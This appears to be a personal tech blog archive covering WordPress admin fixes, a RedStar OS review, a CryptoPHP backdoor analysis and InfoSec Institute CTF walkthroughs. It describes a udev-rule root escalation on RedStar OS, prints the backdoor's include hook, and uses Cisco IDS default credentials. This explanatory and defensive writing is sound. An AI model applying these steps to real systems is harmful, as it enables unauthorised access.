Unblocking your IP address in the WordPress All-In-One Security plugin.

Recently, I locked myself out of a WordPress site that used the All-In-One Security plugin to prevent logins from blocked IP addresses. After running some tests, the plugin did its job and blocked the IP range, preventing me from logging in to the admin. This problem presents as being unable to login with credentials you know to be valid and no error message on the login page. This can also be due to session issues, or disabling login error messages altogether.

To verify that the security plugin is the problem, you should check out the security log. From the repository root, the file can be found at all-in-one-wp-security/logs/wp-security-log.txt. In the more likely event that you installed the plugin via WordPress, look for wp-content/plugins/all-in-one-wp-security/logs/wp-security-log.txt.

Unblocking Your IP Range

You’ll need command line access, or the ability to run SQL commands. Any of the following should work:

  • PHPMyAdmin
  • Ability to upload and run PHP scripts.


Log in as an admin, or with your WordPress database credentials. Select the appropriate database, and find your IP address with a site like icanhazip.com.

First, check that the table exists. If you use table prefixes, be sure to modify the table name in these examples to match your table name.

SHOW TABLES LIKE '%login_lockdown%';

If you see a table name, you’re in good shape. If not, you’re probably in the wrong database, not using the same plugin, etc. In the next step, verify that your IP address range is blocked. Use the % character to do wildcard searches, since it can block an entire range.

SELECT * FROM aiowps_login_lockdown WHERE failed_login_ip LIKE "123.45.67.%";

If results are returned, look at the rows and see which usernames/times are safe to unblock. If all the rows are safe to unblock, the following command will delete everything you just selected.

DELETE FROM aiowps_login_lockdown WHERE failed_login_ip LIKE '123.45.67.%';

To delete specific entries, use the ID column to specify which rows to delete:

DELETE FROM aiowps_login_lockdown WHERE id IN (324, 325, 326);

You should now be able to log in!


The PHPMyAdmin method is similar to what’s listed above:

  1. Find the appropriate database
  2. Locate the login_lockdown table
  3. Find any records that are blocking your IP range
  4. Delete them


Unblocking your IP address in the WordPress All-In-One Security plugin.

Find Your MySQL Username/Password in WordPress

If you need to manually manage your MySQL database associated with a WordPress installation, you’ll need to get the proper credentials first. Database connection information usually consists of:

  • Username (DB_USER)
  • Password (DB_PASSWORD)
  • Database name (DB_NAME)
  • Database host (DB_HOST)
  • Database port (WordPress assumes MySQL’s default port of 3306)

This information can be found in your wp-config.php. To show all lines of wp-config.php that have “DB_” in them, run the following command from the terminal:

grep -r 'DB_' wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'username');
define('DB_PASSWORD', '********');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

This information can now be used to log in to MySQL’s command-line interface:

mysql -u username -p

Leaving the “-p” parameter empty will trigger MySQL to prompt you for a password. On a *NIX server, it will look like you’re not typing anything — this is by design. While you may specify the password in the same line, this can leave your plaintext password in your command history, which is easily readable. If you want to use this format anyway (i.e., in a script), note that you cannot put a space between the “-p” flag and your password:

mysql -u username -ppassword

Once you’ve logged in, you can view available databases with the show databases; command. To use your wordpress database, take the value from DB_NAME (above) and use the use command: use wordpress;. To see available tables in the selected database, run show tables;.

Find Your MySQL Username/Password in WordPress

Enable Scrolling on Logitech TrackMan Marble Mouse (Linux Mint 17)

The TrackMan mouse has four (physical) buttons which include a large left and right button (1, 3), that serve as the primary mouse buttons, and two smaller left and right buttons (8, 9) that trigger your browser’s “back” and “forward” buttons. To replace this action with “Ctrl+Click” to scroll, insert the following lines in your ~/.bashrc (or anywhere else that can call some commands):

xinput set-button-map "Logitech USB Trackball" 1 2 3 4 5 6 7 8 9
xinput set-int-prop "Logitech USB Trackball" "Evdev Wheel Emulation Button" 8 8
xinput set-int-prop "Logitech USB Trackball" "Evdev Wheel Emulation" 8 1
xinput set-int-prop "Logitech USB Trackball" "Evdev Wheel Emulation Axes" 8 6 7 4 5
xinput set-int-prop "Logitech USB Trackball" "Evdev Wheel Emulation X Axis" 8 6
xinput set-int-prop "Logitech USB Trackball" "Evdev Drag Lock Buttons" 8 9

Then, run “source ~/.bashrc”, and you should be able to scroll by pressing the small left button and moving the trackball.

Enable Scrolling on Logitech TrackMan Marble Mouse (Linux Mint 17)

A look at RedStar OS 3.0 – North Korea’s Operating System

I recently stumbled upon a copy of RedStar OS, which appears to be a RHEL-based server distribution developed by North Korea. Version 2.5 was initially purchased and reviewed by a Russian student studying abroad, and a user by the name of slipstream uploaded version 3.0 (server) to TPB in mid-2014.

Several reports portray it as a tool to monitor web usage by the regime, and while I don’t doubt that, it seems unnecessary to repackage an operating system to do so. It seems more likely that it’s a symbol of sovereignty and independence from Windows (made in USA). Since North Korea’s internet is a giant class A network (, any reporting software would likely try to report to an otherwise “internal” network. For example, the browser packaged with the OS has its homepage set to A quick Wireshark analysis didn’t reveal anything immediately suspicious, but I’ve yet to dig into that fully.

On the surface, it’s a pretty hollow clone of RHEL using KDE desktop. The directory structure is a cross between OSX and *nix, as is the overall feel of the desktop environment. Applications

It comes with a couple of standard applications – a calculator, notepad, contact book, etc., as well as QuickTime and Naenera Browser (a Firefox clone). As Naenera (“my country”) is also the name of the official web portal, and that most citizens can’t access the “international internet”, the two might as well be synonymous.

You can see the public-facing Naenera at http://www.naenara.com.kp/en/, but be aware that they’ve been known to inject malware on some of their public-facing sites.


It’s also interesting to note there’s a CHM (compiled HTML) viewer. This is typically used for software documentation, and very well may be the case here. I’d be interested to see if this is utilized for something akin to Cuba’s Paquetes, downloading parts of the Kwangmyong, or something altogether different. (There is an empty “Sites” folder in the user’s home directory)


There’s an OpenOffice clone, called Sogwang Office.

Sogwang Office Screenshot

It also has this music composition program, UnBangUI:


The mail program doesn’t have any clear way to add an email account, but does prevent you from checking mail until you’ve added one.


The software center only allows importing from /media. There is a repository of extra applications that’s offered on a second CD (the Russian site says the extra CD costs about twice what the original OS costs), and I haven’t started to dig through that yet.


In the “System Update” area, the Settings dialog shows a location for a URL and proxy, but I’m not sure it’s usable.


Getting Root

Interestingly, the user isn’t added to sudoers and the root account is disabled. Fortunately, this is trivial to bypass, since someone “overlooked” the permissions in /etc/udev/rules.d. If you’re looking for a terminal shortcut, you won’t find it – you’ll have to press Alt+F2, then run konsole to get a shell.

That's convenient!
How convenient!

Once you’ve done that, fire up vi and create /tmp/freedom, or whatever you’d like to call it.



Now, open up that file in /etc/udev/rules.d and call /tmp/freedom via a RUN expression:

Don't forget to "chmod +x /tmp/freedom"
Don’t forget to “chmod +x /tmp/freedom”!

Now that that’s taken care of, you’ll need to refresh the udev rules. In VirtualBox, this worked simply by taking a snapshot, but you might have to reboot.

Enabling English on RedStar OS

Once you’re back up and running, you’ll likely want to enable a language other than Korean. While some reports state that Korean is the only language on the system, this isn’t true. It’s just that Korean is selected by default. Now that you have sudo superpowers, this can be done easily with sed: (obviously,for a language other than US English, use the appropriate locale code)

sed -i 's/ko_KP/en_US/g' /etc/sysconfig/i18n

sed -i 's/ko_KP/en_US/g' /usr/share/config/kdeglobals

Log out, and you should see the login screen in English:


That’s it! You should now be able to browse around the OS relatively easily. I’ll post some interesting findings later, once I’ve had an opportunity to dig through it more.


A look at RedStar OS 3.0 – North Korea’s Operating System

Puppet: Error 400 on SERVER: undefined method `empty?’ for nil:NilClass

I received this error after making some changes to a Hiera config and the referenced “dev-server” role.

Error: Could not retrieve catalog from remote server: Error 400 on SERVER: Error from DataBinding 'hiera' while looking up 'role::dev-server::use_ssl': undefined method `empty?' for nil:NilClass on node servername.local

Warning: Not using cache on failed catalog
Error: Could not retrieve catalog; skipping run

It turns out this is a vague syntax error. Checking the following has worked for me:

  • Ensuring the syntax of your Hiera YAML or JSON file is correct. Check for trailing commas in JSON, or misplaced colons. (“foo:bar”, “foo::bar:”, “foo:::bar”, etc.)
  • The variable name is unique. In one case, “dev-server::use_ssl” was configuring a child resource with the same “use_ssl” property/param/variable.
  • There are no empty YAML or JSON files in your hieradata directory. I think I’ve had a similar issue with temp files (*~)
  • If you’ve modified your hiera.yaml to add a new hierarchy or something, restart Puppet.
Puppet: Error 400 on SERVER: undefined method `empty?’ for nil:NilClass

CryptoPHP – A WordPress backdoor in social.png


This is a series of posts on CryptoPHP, a PHP backdoor used for spamming and blackhat SEO. It seems to come bundled with certain copies of WordPress themes from unofficial sites and resides in a file named “social.png”. It comes installed with a list of email addresses and domains to contact and communicates with a C2 server using cURL and OpenSSL for encryption. Its main purpose appears to be to facilitate the display of links and other content, sent from the C2 server. When the script determines that a web crawler (e.g., GoogleBot), and not a real user, is viewing the site, it injects links to third-party sites in hopes of being indexed.


CryptoPHP communicates with external servers, requiring multiple external requests. You may see the following symptoms:

  • WordPress is slow to load, especially during the first pageview
  • Error messages in your server log, possibly due to failed requests.
  • Error messages from IDS/IPS or other security software (e.g., Suhosin) indicating that someone is making calls to exec and eval.


A few days ago, I noticed that a WordPress installation was running extremely slowly. After enabling xhprof and profiling the index page, I noticed that a single method (RoQfzgyhgTpMgdUIktgNdYvKE) was taking around 160 seconds to run. The method name (others in the stack were similarly named) and the 23 calls to curl_exec came off as immediately suspicious. I used grep to search for the file and found it under the themes folder as images/social.png.

This file was included at the bottom of a theme file, causing it to be executed on each page load.

<?php include_once(‘images/social.png’); ?>

Opening social.png in a text editor reveals obfuscated and minified code. While it looks like a mess, it’s simply renamed variables and functions with whitespace removed, and can be undone rather easily with the “Find/Replace All” feature of your favorite text editor.

Obfuscated CryptoPHP


How to Remove CryptoPHP or social.png

In the limited tests that I’ve done, the offending file – social.png – is the only file that is malicious. It seems to be added to the images/ directory in themes downloaded from unofficial sources. Another line in the main theme files (index.php, header.php or footer.php) includes the file.

While nothing in the file itself indicates that personal or sensitive data is being transmitted back to the server, the file allows its controllers to send commands to it. These commands are then executed by the eval and exec commands in PHP. It is theoretically possible for content, account information, etc. to be transmitted back to the controlling server.

Since the WordPress instance I was using was running on localhost, it would have been unreachable by the controlling servers. It could still phone home and download commands, but could not be controlled directly.  However, due to the possibility of sensitive data being stolen, and the evidence of storing information in the database, I’d recommend a complete re-install of WordPress and changing your admin password(s).

Coming Soon

  • Encryption methods (including a script to decrypt database contents)
  • Detailed/technical review
CryptoPHP – A WordPress backdoor in social.png

What is Google foo.bar?

A week or two ago, the following popped up on my screen during a search for a Python-related topic:

You're speaking our language. Up for a challenge?

I had seen this before after our CTO got the same mysterious message a few months ago. We initially thought it was another one of Google’s Easter eggs, but a quick search revealed that everyone from HN and Reddit to Business Insider seems to think it’s a recruiting move by the search giant. (A similar program was rumored to be a search for cryptoanalyists, but turned out to be related to The Imitation Game, so who knows?)

The first time around, we discovered that replicating the query doesn’t necessarily trigger an invite, and visiting the URL without an invite doesn’t work. It was suggested that the invites are sent to a subset of users who have enabled search history. When I got the invite a week or two ago, I registered and then hit the “Back” button. The query string was preserved, so we tried an experiment: Is the invite based on a tagged query string, or the result of some back-end processing? After sending the URL to a couple of coworkers who had not received an invite after searching the same query, they tried accessing the URL directly. We learned two things:

  1. Both of them subsequently received an invite.
  2. One of them hit “refresh” as the animation began to show the box, and no invite was shown upon refresh. Opening the link in an Incognito window gave him a second chance.

The most likely scenario is that certain queries redirect to the results page with a query string, which triggers the message. Since neither of the other developers write lots of Python, but still got an invite after visiting the link, it’s likely that Google doesn’t validate invitee status. I doubt this is a simple oversight, and more likely indicates one of two things:

  1. Invitees are not on some sort of pre-selected list; and/or
  2. Google isn’t worried about additional invitees.

The latter was proven when the program displayed a “refer a friend” link. Assuming the recruitment theory is correct, it’s likely that Google is operating under the assumption that high-quality developers will refer other high-quality developers. I don’t know for sure, but this is probably a valid assumption.

To clarify some of the speculation, I was asked if I’d like a Google recruiter to contact me after completing the first six challenges.

Well, there goes that theory.

Others have asked Google directly about the program, and received a Python snippet that prints “glhf” in response – essentially “no comment”.

A Quick Tour

The pseudo-terminal responds to *nix commands like ls, cat and less and features its own editor. Listing the directory shows a textfile

Contents of start_here.txt
Contents of start_here.txt

The help menu offers several possible commands:


The levels consist of at least 5! challenges, split into 5 levels where each level n has challenges. Challenges fall into one of five categories, or tags.
Google Foobar Tags

Unfortunately, there has only been one crypto challenge available so far, and I haven’t been able to score a low_level challenge.  Most of the challenges I’ve completed so far involve one-off applications of computer science problems – like whiteboard interview questions with a twist. Additionally, there are constraints on execution time and memory use, which prevent some naive implementations from passing the test cases. This speaks to the needs of a company like Google who requires, or at least desires, efficient implementations rather than generic Algorithms 101 approaches.

I’ll be posting my solutions to GitHub shortly, along with some explanations here.

What is Google foo.bar?

Pennsylvania Adopts Critical Care Transport Scope

Today, Pennsylvania announced the scope of practice and medication list for Critical Care Emergency Medical Service Providers. Unfortunately, all of the skills and medications listed apply to interfacility transports and/or must be performed in the physical presence of a PHRN/PHPE/PHP.

Critical Care Scope of Practice

Category Skill Critical Care Transport Provider (Paramedic, PHRN, PHPE or PHP)
8 Airway/ventilation/oxygenation Chest tube thoracostomy, monitoring of existing tube in a closed system (for example water seal or suction) Yes1
9 Airway/ventilation/oxygenation Chest tube thoracostomy, acute insertion Yes2
12 Airway/ventilation/oxygenation Biphasic positive airway pressure (BiPAP) for patients acutely on BiPAP for <48 hours Yes1
24 Airway/ventilation/oxygenation Endotracheal Intubation—paralytic assisted, rapid sequence induction (RSI) Yes2
25 Airway/ventilation/oxygenation Ventilation—Maintenance of previously initiated neuromuscular blockade Yes1
28 Airway/ventilation/oxygenation Laryngeal mask airway (LMA) Yes1
49 Airway/ventilation/oxygenation Ventilators, transport—single or multi-modal, with or without blender, using volume control mode only, on patients >1 year of age with no anticipated need to actively titrate ventilator settings during transport. Yes1
64 Cardiovascular/circulation Transvenous or Epicardial pacing, Management of Yes2
66 Cardiovascular/circulation Hemodynamic monitoring/assist (pulmonary artery catheter, central venous pressure) Yes2
67 Cardiovascular/circulation Intra-aortic balloon pump or invasive cardiac assist device or extracorporeal membrane oxygenation—monitoring/assist Yes2
69 Cardiovascular/circulation Thrombolytic therapy—initiation Yes2
70 Cardiovascular/circulation Thrombolytic therapy—monitoring Yes2
77 IV Initiation/maintenance/fluids Sub-cutaneous indwelling catheters—access of existing catheters Yes1
79 IV Initiation/maintenance/fluids Venous central line (blood sampling)—obtaining Yes1
81 IV Initiation/maintenance/fluids Arterial line—monitoring Yes1
82 IV Initiation/maintenance/fluids Blood products—initiation and continued administration Yes2
94 Medication administration routes Enteral Feeding Devices, Management of Yes1
103 Medications Medications for Critical Care Transport Providers as published in Pennsylvania Bulletin by the Department Yes1
105 Medications Over-the-counter (OTC) medications (Note: aspirin and glucose covered elsewhere) Yes1
112 Patient Assessment/management Portable blood analysis devices, use of (glucometer covered elsewhere) Yes1
121 Patient Assessment/management Intracranial pressure monitoring/assist Yes2
126 Patient Assessment/management Urinary catheterization Yes1

Yes—The skill is in the scope of practice for paramedics, PHRNs, PHPEs and PHPs who are authorized to function for an EMS agency that has been licensed as a CCT ambulance service. (Emphasis added)

1. Paramedics, PHRNs, PHPEs and PHPs who are authorized to function for an EMS agency that has been licensed as a CCT ambulance service may only perform or assist with these skills during interfacility transport with a CCT ambulance. (Emphasis added)

2. Paramedics who are authorized to function for an EMS agency that has been licensed as a CCT ambulance service may assist a PHRN, PHPE or PHP with this skill only during interfacility transport with a CCT ambulance and when in the direct physical presence of, and supervised by, the higher level provider. (Emphasis added)


Critical Care Medication List

  1. Abciximab2
  2. Albumin1,2
  3. Anti-Coagulants/Anti-Platelets: All Types (Not otherwise specified)1,2
  4. Anti-Emetics: All Types (Not otherwise specified)1.2
  5. Anti-Hypertensives: All Types (Not otherwise specified)2
  6. Antivenom1,2
  7. Atenolol1,2
  8. Barbiturates2
  9. Bivalirudin2
  10. Blood Products2
  11. Clopidogrel2
  12. Dextran1,2
  13. Digoxin2
  14. Dilaudid2
  15. Eptifibatide2
  16. Esmolol2
  17. Fibrinolytics/Thrombolytics: All Types2
  18. Glucocorticoids/Mineralcorticoids1,2
  19. Heparin2
  20. Hespan1,2
  21. Hydralazine1,2
  22. Hydroxocobalamin1,2
  23. Insulin2
  24. Ketamine1,2
  25. Ketorolac1,2
  26. Labetolol1,2
  27. Mannitol2
  28. Metaproterenol1,2
  29. Metoprolol1,2
  30. Milrinone1,2
  31. Non-Depolarizing Agents1,2
  32. Norepinephrine2
  33. Other Non-Benzodiazepine Anti-Convulsants2
  34. Phenylephrine2
  35. Phenytoin/Phosphenytoin1,2
  36. Plasmanate1,2
  37. Potassium Chloride2
  38. Propofol1,2
  39. Propranolol1,2
  40. Prostaglandins: All Types2
  41. Quinidine Sulfate/Gluconate2
  42. Romazicon2
  43. Succinylcholine2
  44. Theophylline1,2
  45. Tirofiban2
  46. Tocolytics: All Types (Not otherwise specified)2
  47. Total Parenteral Nutrition2

1. Paramedics who are authorized to function for an EMS agency that has been licensed as a CCT ambulance service are restricted to the maintenance and monitoring of medication administration that is initiated at the sending medical facility. (Emphasis added)

2. Paramedics who are authorized to function for an EMS agency that has been licensed as a CCT ambulance service may only administer the medication in the direct physical presence of, and supervised by, a PHRN, PHPE or PHP. (Emphasis added)


Pennsylvania Adopts Critical Care Transport Scope

Visual Binary File Analysis with Python

Update: Added a colorize function:

With colorize

Here’s a quick Python script to visualize binary data. In the grayscale example, each pixel is the color of the bit value (0x00 – 0xFF). The same method is used for colorization, except the bit value is used to provide hue and value values for HSV colorspace (saturation is fixed at 0.99).

The cols parameter is the width of the image to be generated (in pixels). By default, the script generates a couple of different sizes. The height is calculated based on the width. Patterns tend to be clearer when the column width is a multiple of 8 (16, 32, 64, 128…), though that could depend on the format and type of data in the file.

As an example, here are some images from a 256-byte file generated with the following Python program:

with open('foo.txt', 'wb') as fd:
    for i in range(256):

Bytes in range(0,256)


./process_dir.py <dirname> <cols>

The program will generate images for each of the binaries in the specified directory, create an “index.html” file and attempt to launch it in the browser.


The generated image on the left is from a PNG file. A dark patch in the beginning with a mostly-uniform distribution is consistent with file headers followed by image data.

The image to the right is an OpenOffice Writer file. The striped area indicates a repeating pattern of bytes, which often separates the metadata header and content in word processor files. The example screenshot shows an image generated from a compiled binary.

This can also be used to visually approximate the amount of entropy in a file. A high-entropy file would have a uniform byte distribution, thus occupying all of the available colorspace. I’ll include a histogram function later. This would show the frequency distribution of the bytes as well.

Compare the outputs of the following files:

  • An MP3 file
  • /dev/urandom
  • A TrueCrypt container (AES with RIPEMD-160)
  • A plain text file
MP3 File
MP3 File
Data from /dev/urandom
TrueCrypt container

Visual Binary File Analysis with Python

InfoSec Institute – CTF Level 12

This is a walkthrough of InfoSec Institute’s CTF challenge, Level 12.

As I mentioned in some of the other walkthroughs, the first step is to look through the source code for anything that’s out of place. After that, I typically evaluate the headers and other responses (with Chrome’s developer tools) and proceed from there. Anything that the site loads will be revealed in the “Network” tab, so it’s a pretty good source of information that’s always available.

In this level, the file “design.css” was out of place. Viewing the contents showed an invalid CSS statement:

This is not a color

In CSS, colors are typically specified with their hexidecimal value. (There are a couple of other acceptable formats, but that’s irrelevant for now)

Load that string into a Python interpreter, and use the built-in “decode” function. Pretty intuitive, yeah?

The flag also states the obvious.

InfoSec Institute – CTF Level 12

InfoSec Institute – CTF Level 11

This is a walkthrough for InfoSec Institute’s CTF Challenge, Level 11.

The only immediate difference between this and level 10 is the addition of a grainy PHP logo.


Grainy images are one indicator of steganography, so I proceeded along the route of checking for readable strings. Using the strings command again revealed the flag instantly (but read on!). However, opening it in emacs revealed that it was in the header of the image file.

Raw data

This is hardly the same as steganography, which hides the message in the image data. This flag is hidden in the image’s EXIF (Exchangable Image Format) data, which provides metadata about the image. If you have exiftool installed (apt-get install exiftool, IIRC), you can get the same information:

exiftool php-logo-virus.jpg | grep -i infosec

Exiftool Output

The “document name” field contains the string, plus two additional bytes. If you had trouble viewing the image properties, it was likely because the viewer wasn’t prepared for the extra bytes at the end of the string. Remember, the “strings” command only reveals printable characters.

Raw data

Depending on whether or not the flag includes the extra bytes, there are two options:




Bytes 240 and 206 are outside of the printable range, and not valid Unicode, as they’re missing the BOM. The control characters correspond to the end of the field, which is NUL-terminated. These characters are present because of the way emacs is forced to display something, but you can see the true value with a hex editor. I used hexedit in the following screenshot:

Hex Editor View

The additional unprintable characters are in red and NUL bytes in yellow.  Since the bytes are part of the field (as far as any EXIF parser is concerned), these bytes are part of the field. That leaves us with bytes A0 86 01 unaccounted for.

Note: Your raw data may differ from mine, due to endianness. If your hex editor displayed this, it’s correct, but you’ll notice each pair is switched.

          6e69 6f66 6573 5f63 6c66 6761
7369 615f 5248 6330 6f44 4c76 6433 6433
3579 6279 7832 5a73 4a58 617a 6b32 5975
3832 6475 7357 6176 3157 5a68 5632 597a
3969 6277 6433 636c 4e6e 6173 5257 586c
7832 5a76 3932 6266 4647 5a79 5532 5a75
6c32 a06d 0186 0000 0100

Before we cross over the threshold into text-encoding hell, extended ASCII sets, control characters, and all the levels dedicated specifically to Unicode, let’s take a step back. (Sorry guys, I only led you down this road to take a look at the actual contents of the field!)

Occam’s razor says the field was obfuscated to prevent what I’ll dub a “View Properties Attack”, and we’re dealing with a printable-characters-only string. This is a n00bs challenge, afterall.

Although it lacks the characteristic ending equals signs of a base64-encoded string, the flag we have does contain a valid base64 string. (The ending == signs are for padding, and not always present.)

Decoding that string yields the following URL:


Which links to the following image:



  • infosec_flagis_\x61\x48\x52\x30\x63\x44\x6F\x76\x4C\x33\x64\x33\x64\x79\x35\x79\x62\x32\x78\x73\x5A\x58\x4A\x7A\x61\x32\x6B\x75\x59\x32\x38\x75\x64\x57\x73\x76\x61\x57\x31\x68\x5A\x32\x56\x7A\x59\x69\x39\x77\x62\x33\x64\x6C\x63\x6E\x4E\x73\x61\x57\x52\x6C\x58\x32\x78\x76\x5A\x32\x39\x66\x62\x47\x46\x79\x5A\x32\x55\x75\x5A\x32\x6C\x6D\xA0\x86\x01
  • infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm
  • infosec_flagis_http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif
  • infosec_flagis_powerslide



InfoSec Institute – CTF Level 11

InfoSec Institute – CTF Level 9

This is a walkthrough for InfoSec Institute’s CTF challenge, Level 9.

The challenge presents with a login screen for a Cisco Intrusion Detection System (IDS). I tried a few typical username/password combinations (root/root, admin/password, etc) before googling “Cisco IDS default password”.


Sure enough, ‘root’/’attack’ worked, and the flag was given in a popup box:Infosec_flagis_?

At first glance, this looks like the string presented in their Level 4 CTF challenge, but the character spacing is all wrong. We already determined that they’re using the format “infosec_flagis_?????”, and they’re unlikely to change the grouping since it helps identify the flag in a CTF event.

The flag is presented in plaintext, but reversed. To undo this, use the “rev” command in Linux, which reverses a string passed into it:

echo "ssaptluafed_sigalf_cesofni" | rev

Answer: infosec_flagis_defaultpass

InfoSec Institute – CTF Level 9

InfoSec Institute – CTF Level 8

This is a walkthrough on Level 8 of InfoSec Institute’s CTF challenge. The challenge begins by asking if you’d like to download “app.exe”. Since I’m not about to run an untrusted *.exe file (and I’m on Linux anyway), I decided to open it up in emacs. The flags follow a common format, so performing a string search can’t hurt:

Screenshot from 2015-03-22 17:21:41

Well, that was easy.

This can also be done with the strings command, which prints strings of printable characters. Binary files do have quite a few readable characters, so combining strings with grep shouldn’t hurt (the -i flag means case-insensitive search):

strings app.exe | grep -i infosec

Gives the output:

Screenshot from 2015-03-22 17:27:40




InfoSec Institute – CTF Level 8

InfoSec Institute – CTF Level 7

This challenge is linked directly to a file called “404.php”, that serves up the following content:

f00 not found 
Something is not right here???
btw...bounty $70

This is intentional, and not an accidental 404, given the level-specific bounty and the fact that it’s linked directly in the menu. Let’s tryhttp://ctf.infosecinstitute/levelseven.php, since that’s what all the other levels are. Sure enough, it works. Kind of.

The page is blank, but instead of a 404 status code, we get 200. Well, not really:

Not a 200 (OK)

The HTTP status is 200, but the status text should be “OK”, so let’s see what it actually says:

Screenshot from 2015-03-22 17:12:18

Ahh, another base64-encoded string. We came across that in level 2, so we’ll just use that atob() function again:

Easy enough! But why does this work? Did they hack the internet?!

The HTTP status code is separate from the status text – they’re just commonly used together. We can generate the same effect with PHP’s header function.


die(header("HTTP/1.0 404 Just kidding, it's here."));




It’s important to note that some software (crawlers, for example) may only look at the status code. Generating random HTTP statuses because you can is generally not a useful thing to do in real life ;)

InfoSec Institute – CTF Level 7

InfoSec Institute – CTF Level 4

This is a writeup on Level 4 of InfoSecInstitute’s CTF challenge.

As discussed in Level 2, we begin with a general survey of the page. After checking over the page and not finding anything that stood out, I began inspecting the HTTP headers. (The hint, after all, is “HTTP stands for Hypertext transfer protocol”.)

HTTP Headers

The response looks about the same, with the exception of an additional cookie that wasn’t present before:


Note: If you’ve been browsing around their site, and came across this level before, the cookie WILL be set on all headers, since it’s set for all pages on the domain ctf.infosecinstitute.com. You can see this for yourself by looking at the cookie file. (In Chrome, visit chrome://settings/cookies)

Screenshot from 2015-03-22 17:06:37

Since this is clearly encoded, encrypted, or otherwise obfuscated, I made a few (correct) assumptions to find a starting point.

  • A low level (Level 4) challenge would use a classical cipher, rather than true symmetric/asymmetric encryption (ala PGP/AES)
  • A digraph (“bb”) and two groupings ending with “v(r)f” indicate to me that it’s likely a monoalphabetic substitution cipher.

Note that these assumptions come from having a bit of experience with cryptography, and are simply a starting point. Since we have a short ciphertext, it’s difficult to be sure about anything until we actually attempt decryption. While it could possibly be a Vignere, Playfair, or something more complex, starting off with a simple monoalphabetic substitution cipher seemed like the best bet.

The most well-known of all the classical ciphers is probably the Caesar Shift cipher (or ROT-13). I don’t think I’ve ever met anyone who wasn’t familiar with it, but it’s not a question I typically ask. To be precise, the Casear cipher is a specific key setting for a shift cipher, in which the letters of the alphabet are ROTated by a certain number. The ROT-13 cipher rotates the alphabet by 13 characters, resulting in the following shift:

Caesar Shift (ROT-13)

To solve, simply decode the value of the cookie. (Note that the ‘=’ sign is not part of the allowed message space, so the values will have to be decoded separately.)


If it wasn’t a key of 13, we could try each possible combination, looking for (hopefully English) text that makes sense. This is known as a brute-force attack, and would be the next logical step before moving on to additional cipher types. In fact, if you used an online tool or other program to solve it, it likely worked by generating each of the 26 possible decryptions, then checking which one(s) had one (or both) of the following:

  1. A character frequency distribution approaching that of the expected plaintext language.
  2. Common words in the expected plaintext language

Method 1 is the most accurate, given “enough” ciphertext. It’s a statistical comparison between how often certain letters appear in a language, and how often they appear in the ciphertext. When the ciphertext is short, however, this method can fail since there’s not enough data to accurately compare it.

The second method is especially useful in situations like this, where we know some of the plaintext (the words “infosec” and “flag”). In fact, this makes it easier to write the script on-the-fly if you’re not familiar with calculating frequency distributions, or are otherwise “not a math person”. By scanning each decrypted (deciphered) set of characters for these words, we can rapidly narrow down our search for the correct cipher and key. (I wouldn’t waste time searching for “is”, because it’s too short to be significant.)

And, of course, the mandatory Python script:


Which resulted in the following output:


InfoSec Institute – CTF Level 4

InfoSec Institute – CTF Level 3

This is another tutorial for Level 3 of InfoSecInstitute’s CTF challenge.This level involves decoding (not decrypting) some data to retrieve the flag. The challenge can be found at http://ctf.infosecinstitute.com.

Disclaimer: Capturing the flag for this level takes around 30 seconds with online tools, and is basically a no-brainer. Since this is about education and learning, and not blindly using tools, let’s dig into what’s actually going on here.

The message for this level is encoded with two different methods. The first method we have to decode is obviously the QR code, but some simple QR code readers will fail, since the encoded data is not a URL (hint).

Original QR Code
Original QR code

This article will touch upon the basics of manual QR code decoding, but is far from being a comprehensive source of information on the subject. For the basics, I’ll refer you to QR Code Essentials, a PDF document published by the creators of the QR code. If you’re looking for information on implementing the scheme, or want to explore the subject in-depth, I highly recommend thonky’s tutorial on the subject. It’s a very thorough article aimed at programmers and is invaluable in working with QR codes in software.

QR Code Basics

QR codes were developed as an alternative to the 2D barcode schemes (commonly used on driver’s licenses and such). It has several advantages over the 2D schemes and is much more resilient to human error and physical damage than other barcoding schemes. If you’ve ever tried to implement a barcode scanning system, you’re no doubt familiar with the headaches that come with it.

A QR code stores information in binary format – each “pixel” represents a 1 or 0.  In the interest of specificity, each square can obviously be much larger than a true pixel, and the black and white coloration doesn’t exactly correlate to 1 and 0, for reasons that will be explained shortly.  In the QR code world, each of these squares is referred to as a module (light modules and dark modules).

For starters, let’s take a look at the anatomy of a QR code:

Source: http://www.nacs.org/LinkClick.aspx?fileticket=D1FpVAvvJuo%3D&tabid=1426&mid=4802
Source: http://www.nacs.org/LinkClick.aspx?fileticket=D1FpVAvvJuo%3D&tabid=1426&mid=4802

One of the major strengths of QR codes is their error correction, which allows creative use and distortion of the code while maintaining its ability to be scanned.


It does this in part by applying a bit mask to the data, which results in skewing the correlation between dark/light modules and 1/0 values.

Example of bit masking in QR codes.

Essentially, the bit mask is determined by looking for areas of consecutive matching squares (penalty score). Since large areas of black/white space could make automatic decoding unpredictable or impossible, a mask is used to achieve a more uniform distribution of dark/light modules.

In this context, values i and j refer to ‘row’ and ‘column’ number. Taking a value modulo (%) 2 is a standard way of indicating even/odd values, hence the diagonal/checkerboard pattern for this mask.

Note that the bit mask applies only to the data and error correction areas, and not any of the reserved ones. For this reason, it’s sometimes referred to as the D/E mask.

Determining the Version

First, we’ll need to determine the version. The version, along with the error correction level, determines how much data can be stored in the QR code. Note that this is not a sequential version (like most things in the IT world), but rather an indicator of the dimensions.

There are 40 possible QR code versions, which have dimensions ranging from 21×21 (v.1) to 177×177 (v.40) modules. The version can be inferred by the width of the overall QR code (in modules) using the formula:

width = (version * 4) + 17

Or, conversely:

version = (width – 17) / 4 

In this case, the width of the QR code is 29, which makes this a version 3 QR code. Additionally, each version uses one of four possible error correction values:

  • L – 7%
  • M – 15%
  • Q – 25%
  • H – 30%

These error correction values indicate the amount of redundant data, or the maximum theoretical damage/defacement that can occur and still scan accurately. (A 40L QR code holds the most data and a 1H contains the least.)

QR Code with Level “Q” error correction (30%)
This works too!
Even this will scan!


Determining the Mask

Since the encoding type is masked (bottom four pixels), we have to determine the mask first. This is done by looking at the format pattern, which is masked by a different mask. The format mask is a specific 15-bit mask 101010000010010 (decimal: 21522) used only for this purpose. Of these 15 bits, we’re only interested in the first 5 (for now).

The first 5 bits store the error correction level (2 bits) and the D/E (‘regular’) mask (3 bits)


